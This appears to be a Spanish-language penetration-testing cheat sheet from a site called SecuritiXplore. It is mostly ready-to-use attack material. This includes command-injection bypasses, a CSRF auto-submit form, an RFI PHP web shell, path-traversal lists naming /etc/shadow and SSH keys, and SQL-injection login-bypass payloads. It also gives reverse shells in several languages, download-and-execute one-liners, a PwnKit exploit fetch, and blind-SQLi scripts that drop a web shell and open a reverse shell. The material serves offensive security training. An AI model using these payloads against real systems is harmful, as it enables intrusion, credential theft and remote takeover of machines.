Welcome to SecuritiXplore. Select an option from the menu above:

Available options: ENUMERATION & EXPLOITATION, WEB VULNERABILITIES, ACTIVE DIRECTORY, POST EXPLOITATION, PRIVILEGE ESCALATION

Type "help" for assistance.

$ RECOGNITION _


En la fase de reconocimiento de las pruebas de penetración, el objetivo principal es recopilar datos esenciales sobre los sistemas de la red objetivo mediante la construcción de un mapa de red detallado. Este paso crucial sienta las bases para un mayor análisis y una posible explotación.


HOST DISCOVERY


El paso inicial en el mapeo de la red implica identificar los hosts activos dentro de la red. Esto puede ser realizando barridos de ping y escaneos ARP para enumerar los hosts.


ARP Scan


arp-scan -I <interface> --localnet --ignoredups

NMAP PING SCAN


nmap -sn <network>/<mask>

BASH PING SWEEP


bash -c ' n= <network> ; for i in {1..254} ; do \
( timeout 2 ping -c 1 $n.$i | grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}:" | \
tr -d ":" &); done; wait'

Exclamation Icon Specify the
<network>
without the last octet
(e.g. 192.168.1)

PORT SCAN


Después de completar la enumeración de la red e identificar nuestros objetivos, el siguiente paso consiste en escanear los puertos abiertos en los hosts para descubrir vulnerabilidades y posibles vectores de ataque.


Nmap TCP Port Scan


nmap -p- --open -sS -n -v -Pn --min-rate 5000 -oN allPorts <target>

Bash TCP Port Scan


bash -c ' ip=<target>; for port in $(seq 1 65535); do
(echo > /dev/tcp/$ip/$port) > /dev/null 2>&1 &&
echo -e "$port\033[K" & if [ $((port % 200)) -eq 0 ];
then wait; fi; echo -ne "$port/65535\r"; done; wait'

Bash TCP Port Scan


nmap -sU -F -oN udpPorts <target>

Service & Version Detection


nmap -p<port/s> -sCV -oN portScan <target>

Nmap Scripts


nmap -p<port/s> --script <script> <target>

Exclamation Icon You can list all available Nmap scripts using the following command:

# List nmap nse scripts

ls /usr/share/nmap/scripts | grep <service>

# Get info about a script

nmap --script-help <script>

$ NETWORK SERVICES _


Enumeration


Detección de versión de servicio y valor predeterminado nmap scripts

Services


FTP


Anonymous Login


ftp <target>

>Name: anonymous

>Password: <target>


Brute Force


hydra -L usernames.txt -P passwords.txt <target> ftp

SSH


Cualquier versión de OpenSSH anterior a la 7.7 es vulnerable a la enumeración de usuarios (CVE-2018-15473) si no está parcheado. Para explotar esta vulnerabilidad, podemos utilizar el siguiente script:


SSH User Enumeration

Este script en Python permite enumerar usuarios SSH.

Ver en GitHub

ssh_user_enum.py


Brute Force


hydra -L usernames.txt -P passwords.txt <target> ssh

HTTP/HTTPS


Enumere archivos y directorios básicos con scripts nmap


nmap -p80,443 --script http-enum -oN webScan <target>

Web Technologies


whatweb <target>

También recomiendo usar el Wappalizer extensión del navegador.

File and Directory Enumeration


Gobuster

gobuster dir -u http://<target>/ -w <wordlist>

Exclamation Icon Parámetros útiles:

-t, --threads Concurrent threads


--exclude-length Exclude content length


-s, --status-codes White list status codes


-b, --status-codes-blacklist Black list status codes


-r, --follow-redirect Follow redirects


--proxy Use Proxy <type:host:port>


-k, --no-tls-validation Skip TLS verification


--timeout HTTP Timeout


Wfuzz

wfuzz -w <wordlist> http://<target>/FUZZ

Exclamation Icon Parámetros útiles:

-t <threads> Concurrent threads


-L, --follow Follow redirects


-p Use Proxy <host:port:type>


--hc/hl/hw/hh Hide code/lines/words/chars


--sc/sl/sw/sh Show code/lines/words/chars


Subdomain Enumeration


Gobuster

gobuster vhost -u http://<target>/ -w <wordlist>

Wfuzz

wfuzz -H 'Host: FUZZ.<target>' -w <wordlist> http://<target>/

Exploitation


Una vez enumerada la web, es posible que desees explotar algunas vulnerabilidades web:


Para ello entrar en el apartado 'WEB VULNERABILITIES'


SMB


Enumeración del sistema con enum4linux


enum4linux -a [-u '<username>' -p '<password>'] <target>

Shares Enumeration


Exclamation Icon En sistemas Windows, es posible que necesites evitar reacciones violentas:

\\\\<target>\\<share>


# null session

smbclient -N -L //<target>

# authenticated

smbclient -U 'username[%password]' -L //<target>

# conect to a share

smbclient [-U 'username[%password]'] //<target>/<share>


# null session

smbmap -H <target>

# authenticated

smbmap -u "username" -p "password" -H <target>

# recursive/non-recursive listing

smbmap [-u "username" -p "password"] -R/-r <share> -H <target>


# null session

crackmapexec smb <IP> -u '' -p '' --shares

# authenticated

crackmapexec smb <IP> -u 'username' -p 'password' --shares


nmap -p 139,445 --script "smb-enum-shares" <target>



RPC


Automated Enumeration


rpcdump.py <target>

Manual Enumeration


# null session

rpcclient -U "" -N <target>

# authenticated

rpcclient -U "username%passwd" -N <target>

# commands https://www.hackingarticles.in/active-directory-enumeration-rpcclient/

rpcclient -U '[username%passwd]' -N <target> -c '<command>'

$ Command Injection _


La inyección de comandos es una vulnerabilidad que permite la ejecución de comandos arbitrarios en el servidor host, lo que podría provocar acceso no autorizado, robo de datos o compromiso del sistema.


Chaining and Invoking


Se pueden combinar comandos (en sistemas Windows y Linux) utilizando estos operadores

; ‎ ‎ # Executes one command and then another

& ‎ ‎ # Executes a command in the background, followed by the other one

| ‎ ‎ # Redirects the output the first command as input to the second command

&&‎ ‎ # Executes the second command if the first command succeeds

||‎ ‎ # Executes the second command if the first command fails



También es posible inyectar comandos mediante sustitución de comandos, donde la salida de un comando se captura y se utiliza en otro contexto.


$(command) ‎ ‎ # Both windows and linux systems

`command` ‎ ‎ ‎ # Only linux systems



Bypasses



Space Bypass


Es posible utilizar el Internal Field Separator $IFS para evitar el uso de espacios en los comandos.

cat${IFS}/etc/passwd

Blacklisted Words


# Quotes
w'h'o'a'm'i' ‎ ‎ # Both windows and linux systems 'w'h'o'a'm'i ‎ ‎ # Only linux systems wh''oami ‎ ‎ ‎ ‎ ‎ ‎ # Both windows and linux systems

# Backslashes
\w\h\o\a\m\i ‎ ‎ # Only linux systems w\h\o\a\m\i ‎ ‎ ‎ # Only linux systems

# $()
wh$()oami ‎ ‎ ‎ ‎ ‎ ‎ ‎ # Only linux systems wh$(echo oa)mi ‎ ‎ # Only linux systems

# ``
wh``oami ‎ ‎ ‎ ‎ ‎ ‎ ‎ # Only linux systems wh`echo oa`mi ‎ ‎ # Only linux systems

# $@
wh$@oami ‎ ‎ # Only linux systems

References


$ CSRF (Cross Site Request Forgery) _


La falsificación de solicitudes entre sitios (CSRF) es una vulnerabilidad en la que un atacante engaña a un usuario para que, sin saberlo, ejecute acciones en una aplicación web en la que está autenticado, lo que lleva a que se realicen acciones no autorizadas sin el consentimiento o conocimiento del usuario.


Payloads


GET


# Requires user interaction
<a href="http://<host>/changepasswd.php?pass=pass">Click Me</a>

# No user interaction required
<img src="http://<host>/changepasswd.php?pass=pass">

POST


<form id="form" action="http://<host>/changepasswd.php" method="POST">
 <input name="pass" type="hidden" value="pass" />
 <input type="submit" value="Submit" />
</form>

<-- Auto submit -->
<script>
 document.getElementById("form").submit();
</script>

References


$ File Inclusion _


La inclusión de archivos locales (LFI) y la inclusión de archivos remotos (RFI) son vulnerabilidades de aplicaciones web donde un atacante puede manipular rutas de archivos para incluir archivos, ya sea desde el sistema local (LFI) o servidores remotos (RFI), lo que podría conducir a acceso o código no autorizado. ejecución.


Remote File Inclusion (RFI)


Si encontramos una manera de incluir un archivo remoto, podríamos intentar incluir código php para ejecutar comandos en el host.


http://<host>/index.php?page=http://<attacker>/shell.txt

Podríamos servir un código PHP malicioso para que el host lo interprete.


echo '<?php system($_GET["cmd"]);?>' > shell.txt
python3 -m http.server 80
curl 'http://<host>/index.php?page=http://<attacker>/shell.txt&cmd=<comand>'

Si el servidor estuviera bloqueando el acceso a recursos externos, podríamos intentar usar el contenedor data:// para inyectar código PHP como base64.

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K

php://filter/convert.base64-
decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K

Local File Inclusion (LFI)


Absolute Path

http://<hsot>/index.php?page=/etc/passwd

Relative Path Traversal

http://<hsot>/index.php?page=../../../etc/passwd

Null Byte

http://<hsot>/index.php?page=../../../etc/passwd%00

Encoding

http://<hsot>/index.php?page=%252e%252e%252fetc%252fpasswd
http://<hsot>/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Truncation

http://<hsot>/index.php?page=../../../etc/passwd......[ADD MORE]
http://<hsot>/index.php?page=../../../[ADD MORE]../../../etc/passwd

Filtered characters

http://<hsot>/index.php?page=....//....//....//etc/passwd

References


$ File Upload _


La vulnerabilidad File Upload en aplicaciones web ocurre cuando los usuarios pueden cargar archivos sin la validación adecuada, lo que potencialmente permite que se carguen y ejecuten archivos maliciosos en el servidor, lo que provoca acceso no autorizado, violaciones de datos o compromiso del sistema.


Extensions


PHP


.php
.php2
.php3
.php4
.php5
.php7
.pht
.phpt
.phtm
.phtml
.phps
.phar
.hphp
.module
.inc
.ctp

ASP


.asp
.aspx
.config
.ashx
.asmx
.aspq
.axd
.cshtm
.cshtml
.rem
.soap
.vbhtm
.vbhtml
.asa
.cer
.shtml

Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion: .cfm, .cfml, .cfc, .dbm

Flash: .swf

Perl: .pl, .pm, .cgi, .lib

Node.js: .js, .json, .node

Filter Bypass


Uppercase letters: .pHp, .pHP5, .PhAr

Double extension:

.png.php

.gif.php

Null byte:

.php%00.gif

.php\x00.gif

Special chars:

file.php%20

file.php%0a

file.php%0d%0a

file.php/

file.php.\

file.php....

Content-Type:

Content-Type : image/gif

Content-Type : image/png

Content-Type : image/jpeg

Magic numbers:

GIF: GIF8;

PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[

JPG: \xff\xd8\xff

References


$ NoSQL Injection _


COMING SOON

$ Path Traversal _


La vulnerabilidad de recorrido de ruta ocurre cuando una aplicación maneja incorrectamente la entrada del usuario en las rutas de los archivos, lo que permite a los atacantes manipular la ruta para acceder a directorios y archivos fuera del alcance previsto. Esto puede provocar acceso no autorizado a archivos confidenciales, exposición de datos confidenciales y potencialmente comprometer todo el sistema.


Basic Payloads


../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

Bypasses


# If WAF removing "../"
..././
...\.\
..;/

# Double URL encoding
. = %252e
/ = %252f
\ = %255c

Interesting Files


Linux


Interesting files:

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db

Possible payload injectable files:

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

Windows


Interesting files:

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

# Always existing files in recent Windows
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt

References


$ SQL Injection _


La vulnerabilidad de inyección SQL en aplicaciones web ocurre cuando las entradas del usuario no se desinfectan adecuadamente, lo que permite a los atacantes inyectar código SQL malicioso en las consultas. Esto puede provocar acceso no autorizado a la base de datos, robo de datos, manipulación de datos o incluso el compromiso total de la base de datos backend de la aplicación, lo que resulta en importantes violaciones de seguridad y pérdida de datos.


Entry point detection


Error Messages


'
%27
"
%22
#
%23
;
%3B
)

Logical Operations


1 or 1=1 -- true
1 and 1=2 -- false

Time/Blind


-- MySQL --
sleep(10)

-- PostgreSQL --
pg_sleep(10)

-- MSSQL --
WAITFOR DELAY '0:0:10'

-- Oracle --
[RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

-- SQLite --
[RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

DBMS Identification


["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Authentication Bypass


'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Cheatsheets


MySQL


Oracle


PostgreSQL


MSSQL


Other DBMSs


References


$ SSRF (Server Side Request Forgery) _


COMING SOON

$ SSTI (Server Side Template Injection) _


COMING SOON

$ XSS (Cross-site scripting) _


COMING SOON

$ XXE (XML External Entity) _


COMING SOON

$ Active Directory _


COMING SOON

$ Reverse Shell _



Reverse Shells


Reverse Shell Generator



Bash


bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Exclamation Icon Se recomienda encapsular el comando en un bash -c '' para evitar problemas con la funcionalidad bash /dev/tcp.

Podemos codificar el contenido en base64, para evitar conflictos con símbolos y espacios en las URL. Además, para evitar que aparezcan caracteres "+", podemos utilizar codificación doble.


# Get the encoded command
echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64 | base64

# Execute the reverse shell
echo <b64_code> | base64 -d | base64 -d | bash

Netcat


nc -e /bin/bash <IP> <PORT>

Mkfifo


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

Python3


i="<ip>" p=<port> && echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('$i',$p));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('bash')" | python3

Socat


socat tcp-connect:<IP>:<PORT> exec:/bin/bash,pty,stderr,setsid,sigint,sane

PowerShell


Base64

# Get the encoded command
echo '$client = New-Object System.Net.Sockets.TCPClient("", );$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | base64 -w 0; echo

# Execute the reverse shell
powershell -e <b64_code>

Nishang

Ejecute esto en su máquina local:


i="<ip>" p=<port> && curl -sL https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -o rs.ps1 && echo "Invoke-PowerShellTcp -Reverse -IPAddress $i -Port $p" >> rs.ps1 && python3 -m http.server 80

Y mientras ejecuta el servidor http de Python, ejecute esto en el destino:


powershell "IEX(New-Object Net.WebClient).downloadString('http://<ip>/rs.ps1')"

Netcat

Localice "nc.exe" y cópielo en su directorio actual, luego ejecútelo en su máquina local:


smbserver.py <share_name> $(pwd) -smb2support

Y mientras ejecuta el servidor smb, ejecute esto en el destino:


\\<ip>\smbShare\nc.exe -e cmd <ip> <port>

Interactive TTY


Exclamation Icon También es posible utilizar rlwrap al iniciar su toma de escucha:
rlwrap -cAr nc -nlvp <IP>

script /dev/null -c bash

or


python -c 'import pty; pty.spawn("/bin/bash")'

and then


# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <cols> # Check size in another window -> stty size

$ File Transfer _


Exclamation Icon Siempre puedes verificar la integridad de los archivos calculando el hash md5 del archivo para asegurarte de que se haya transferido correctamente:
# Linux
md5sum <file>

# Windows
certutil -hashfile <file> md5

HTTP/PHP


Python3


python3 -m http.server <port>

Python2


python3 -m SimpleHTTPServer <port>

PHP


php -S 0.0.0.0:<port>

Download


Wget

wget <url>

Curl

curl -s <url> -o <output>

PowerShell

(New-Object Net.WebClient).DownloadString('<url>') > <output>

Batch

certutil -urlcache -split -f <url> <output>

SMB


SMB Server


smbserver.py <share> $(pwd) -smb2support

Download


Linux

smbclient //<ip>/<share> -c "get <file> <output>"

Windows

copy \\<ip>\<share>\<file> <output>

Ncat


Send


nc -nlvp <port> < <file>

Recieve


nc -nlvp <port> > <output>

Bash


Send


cat <file> > /dev/tcp/<ip>/<port>

Recieve


cat < /dev/tcp/<target>/<port> > <output>

$ Linux Privilege Escalation _


Tools


LinPEAS

curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

LSE

curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | bash

LinEnum

curl -sL https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

System Info


Obtenga información sobre la arquitectura, distribución y versión del kernel del sistema.


uname -a # System information
lsb_release -a # Distribution information
getconf LONG_BIT # System architecture
cat /proc/version # Kernel version
cat /etc/os-release # OS details

Path


Compruebe si tiene permisos de escritura para algún directorio en el PATH.


echo $PATH | tr ':' '\n' | sort -u | xargs -I{} bash -c 'if [ -w "{}" ]; then echo "[+] {}"; fi'

Enviroment Variables


En ocasiones podemos encontrar contraseñas o información sensible en variables de entorno.


env # Environment variables
set # Shell variables

Groups


Lista de todos los grupos a los que pertenecen los usuarios.


id [user]
groups [user]

Docker


Si pertenece al grupo Docker, puede montar el sistema de archivos dentro de un contenedor y tener acceso completo a él, lo que le permitirá modificarlo.


docker run -it --rm -v /:/mnt alpine chroot /mnt sh

LXD/LXC


De manera similar a Docker, con LXD/LXC, también podemos montar el sistema de archivos dentro de un contenedor, otorgándole acceso completo.


# On your machine, download and build an alpine image and transfer it to the host
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine

# Import the image
lxc image import ./alpine.tar.gz --alias privimg
# Create the containter
lxc init privimg privcont -c security.privileged=true
# Mount the filesystem
lxc config device add privcont privdev disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start privcont
# Interactive shell
lxc exec privcont /bin/sh

Sudo


GTFOBins Link

# List user privileges
sudo -l
# Version
sudo -V | grep "Sudo ver"

Capabilities


Hack_Tricks Link

getcap -r / 2>/dev/null

SUID


GTFOBins Link

find / -type f -perm -4000 -ls 2>/dev/null

Open Ports


ss -nltp
netstat -punta

Cron Jobs


Hack_Tricks Link

crontab -l
find / -name "cron*" 2>/dev/null
ls -l /var/log/syslog
ls -l /var/log/cron

Process Monitor


Exclamation Icon Puede agregar palabras a la lista negra en la grep -Ev sección.

old_ps=$(ps -eo user,command); while true; do new_ps=$(ps -eo user,command); \
diff <(echo "$old_ps" ) <(echo "$new_ps" ) | grep "[\>\<]" | \
grep -Ev "kworker|user,command"; old_ps=$new_ps; done

Writable Scripts


find / -user <USER> -writable \( -name "*.sh" -o -name "*.py" \) -type f 2>/dev/null

Passwords


grep -Eriao --color=always '(password|passwd|pass|pwd|key|secret|token)[[:space:]]*[:=][[:space:]]*[^[:space:]]{6,}' . | awk '{ line = $0; sub(/^[^:]*:[^:]*:/, "", line); if (!seen[line]++) print $0; }'

Exploits


Polkit - (CVE-2021-4034)


GitHub pkexec-exploit Link

curl -sL https://raw.githubusercontent.com/Almorabea/pkexec-exploit/main/CVE-2021-4034.py \
-o PwnKit.py && python3 PwnKit.py

GitHub PwnKit Link

curl -sL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit \
-o PwnKit && chmod +x PwnKit && ./PwnKit

$ Windows Privilege Escalation _


System Enumeration


List Users


net user

User Privileges


whoami /priv

Search Files


Exclamation Icon Si no conoce la ruta completa del archivo o incluso la extensión, puede utilizar: *<FILE>*

cmd /s <FILE>

WinPEAS


powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"

$ Directorybrute _


Directorybrute es una herramienta de fuerza bruta de directorios y archivos diseñada para descubrir directorios y archivos ocultos en servidores web mediante solicitudes HTTP.


Link al repositorio

$ Cerbero _


Cerbero es una herramienta de línea de comandos diseñada para realizar ataques de fuerza bruta contra servicios SSH y FTP. Esta herramienta puede resultar útil para auditorías de seguridad o pruebas de penetración donde es necesario probar la resistencia de las credenciales de acceso.


Link al repositorio

$ suBruteforce _


suBruteforce es una herramienta de fuerza bruta diseñada para probar combinaciones de usuario y contraseña en sistemas Unix utilizando el comando su. Esta herramienta está escrita en Python y proporciona una interfaz amigable y personalizable para realizar ataques de fuerza bruta.


Link al repositorio

$ SQL Injection Scripts _


Aqui hay una muestra de vrios scripts que se tienen que modificar a gusto de cada uno para que haga su cometido



SQL Injection Databases


#!/usr/bin/python3

from pwn import *
import requests, pdb, string, signal, sys, time

def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
login_url = "http://<IP>/<LOGIN>"
characters = string.ascii_lowercase + "-_"

def makeRequest():

p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")

time.sleep(2)

database = ""

p2 = log.progress("Usuario")

for position in range(1, 22): #El rango de caracteres que pueda tener el usuario
for character in characters:
post_data = {
'username' : "' or if(substr(database(),%d,1)='%s', sleep(5), 1)-- -" % (position, character), #Aqui lo que hacemos es que mediantes sleep's y con la comparacion de si es 1 es True sacar el nombre de la base de datos...
'password' : 'test'
}

p1.status(post_data['username'])

time_start = time.time()

r = requests.post(login_url, data=post_data)

time_end = time.time()

if time_end - time_start > 5: #Parametro de la comparacion para saber si es True o False con los tiempos de sleep's (Si tarda 5 segundos en responder es True, de lo contrario es False)

database += character
p2.status(database)
break

if __name__ == '__main__':

makeRequest()

SQL Injection Table_Name


#!/usr/bin/python3

from pwn import *
import requests, pdb, string, signal, sys, time

def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
login_url = "http://<IP>/<LOGIN>" characters = string.ascii_lowercase + string.ascii_uppercase + string.digits

def makeRequest():

p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")

time.sleep(2)

password = ""

p2 = log.progress("Usuario")

for position in range(1, 22): #El rango de caracteres que pueda tener el usuario
for character in characters:
post_data = {
'username' : "' or (select hex(substring(password, %d,1)) from users where username='enemigosss')=hex('%s')-- -" % (position, character), #Donde pone hex() significa que estamos jugando con el formato hexadecimal para que nos detecte si es mayuscula o minuscula la letra y con sus respectibos simbolos...
'password' : 'test'
}

p1.status(post_data['username'])

r = requests.post(login_url, data=post_data)

if r.text == "1": #Parametro de la comparacion para saber si es True o False

password += character
p2.status(password)
break

if __name__ == '__main__':

makeRequest()

SQL Injection Username nad Password


#!/usr/bin/python3

from pwn import *
import requests, pdb, string, signal, sys, time

def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
login_url = "http://<IP>/<LOGIN>"
characters = string.ascii_lowercase + "-_"

def makeRequest():

p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")

time.sleep(2)

username = ""

p2 = log.progress("Usuario")

for position in range(1, 20): #El rango de caracteres que pueda tener el usuario
for character in characters:
post_data = {
'username' : "' or (select substring(username, %d,1) from users limit 1)='%s'-- -" % (position, character), #Donde pone username de esta linea es el contenido de la tabla que en este caso se llama username que queremos descubrir ya que por defecto la tabla se llama asi, y la otra por defecto para saber en nombre de usuario es name la cual tambien tendriamos que probar, si no supieramos nada de esto, tendriamos que empezar explotando el nombre de la base de datos...
'password' : 'test'
}

p1.status(post_data['username'])

r = requests.post(login_url, data=post_data)

if r.text == "1": #Parametro de la comparacion para saber si es True o False

username += character
p2.status(username)
break

if __name__ == '__main__':

makeRequest()

SQL Injection Deposit file


#!/usr/bin/python3

from pwn import *
import signal, pdb, requests

def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)

#Ctlr+C
signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) != 3:
log.failure("Uso: %s <ip-address> filename" % sys.argv[0])
sys.exit(1)

# Varianles globales
ip_address = sys.argv[1]
filename = sys.argv[2]
main_url = "http://%s/" % ip_address

def createFile():

data_post = {
'username': 'admin',
'country': """Brazil' UNION SELECT " " INTO OUTFILE "/var/www/html/%s"-- -""" % (filename)
}

r = requests.post(main_url, data=data_post)

if __name__ == '__main__':

createFile()

SQL Injection Deposit file + Reverse Shell


#!/usr/bin/python3

from pwn import *
import signal, pdb, requests

def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)

#Ctlr+C
signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) != 3:
log.failure("Uso: %s <ip-address> filename" % sys.argv[0])
sys.exit(1)

# Varianles globales
ip_address = sys.argv[1]
filename = sys.argv[2]
main_url = "http://%s/" % ip_address
lport = <PORT>

def createFile():

data_post = {
'username': 'admin',
'country': """Brazil' UNION SELECT " " INTO OUTFILE "/var/www/html/%s"-- -""" % (filename)
}

r = requests.post(main_url, data=data_post)

def getAccess():

data_post = {
'cmd': "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"
}

r = requests.post(main_url + "%s" % filename, data=data_post)

if __name__ == '__main__':

createFile()
try:
threading.Thread(target=getAccess, args=()).start()
except Exception as e:
log.error(str(e))

shell = listen(lport, timeout=20).wait_for_connection()
shell.interactive()
getAccess()